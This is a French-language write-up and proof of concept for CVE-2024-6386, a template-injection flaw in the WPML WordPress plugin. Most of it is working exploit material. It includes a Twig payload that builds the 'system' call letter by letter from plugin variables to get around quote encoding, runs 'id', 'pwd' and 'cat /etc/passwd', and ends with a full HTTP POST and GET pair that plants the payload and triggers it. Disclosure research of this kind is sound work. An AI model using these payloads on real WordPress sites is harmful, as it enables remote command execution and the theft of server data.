
Recherche et PoC pour CVE-2024-6386
Recherche détaillée en russe : CVE-2024-6386

Score de base : 9.9
Vecteur : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Dans WPML, vous pouvez utiliser certains Shortcodes WordPress qui permettent de créer des macros et également de générer des modèles Twig. Vous pouvez donc facilement en tirer une SSTI.
Par exemple, créons un shortcode pour exploiter la SSTI :
[wpml_language_switcher]
{{ 2*2 }}
[/wpml_language_switcher]
Dans ce cas, nous obtiendrons 4 comme résultat du rendu de notre shortcode.
Parce que WordPress encode tous les types de guillemets en HTML, nous ne pouvons pas utiliser des payloads typiques, tels que :
{{['id']|filter('system')}}
Néanmoins, nous pouvons modifier ce payload pour appeler des commandes OS à partir de variables-lettres telles que : (s = 's').
Pour ce faire, nous devons faire appel à certaines variables locales telles que :
css_classeslanguagesLa première nous renverra une chaîne : wpml-ls-statics-shortcode_actions wpml-ls.
La seconde renvoie un objet Array de langues.
Grâce à cela, nous pouvons découper les symboles dont nous avons besoin et créer notre propre alphabet.
Ainsi, nous construisons un alphabet : [<space> ,a, c, i, d, s, y, t, e, m, p, w ]
Et oui, nous devons concaténer languages avec une valeur vide pour en faire une chaîne ayant la valeur "Array".
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}
Après cela, nous pouvons concaténer notre alphabet pour former des payloads :
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}
POST /wp-json/wp/v2/posts/30?_locale=user HTTP/1.1
Host: vulned.com
{
"id":30,
"content":"<!-- wp:shortcode -->\n[wpml_language_switcher]\n{% set sp = css_classes|slice(33,1) %}{% set a = css_classes|slice(10,1) %}{% set c = css_classes|slice(13,1) %}{% set i = css_classes|slice(12,1) %}{% set d = css_classes|slice(23,1) %}{% set s = css_classes|slice(6,1) %}{% set y = languages|join|slice(4,1) %}{% set t = css_classes|slice(9,1) %}{% set e = css_classes|slice(24,1) %}{% set m = css_classes|slice(2,1) %}{% set p = css_classes|slice(1,1) %}{% set w = css_classes|slice(0,1) %}{% set system = s~y~s~t~e~m %}{% set pwd = p~w~d %}{% set cat = c~a~t %}{% set sl = [pwd]|map(system)|join|slice(0,1) %}{% set id = i~d %}{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}{{[id]|map(system)|join}}\n[/wpml_language_switcher]<!-- /wp:shortcode -->"
}
GET /?p=30 HTTP/1.1
Host: vulned.com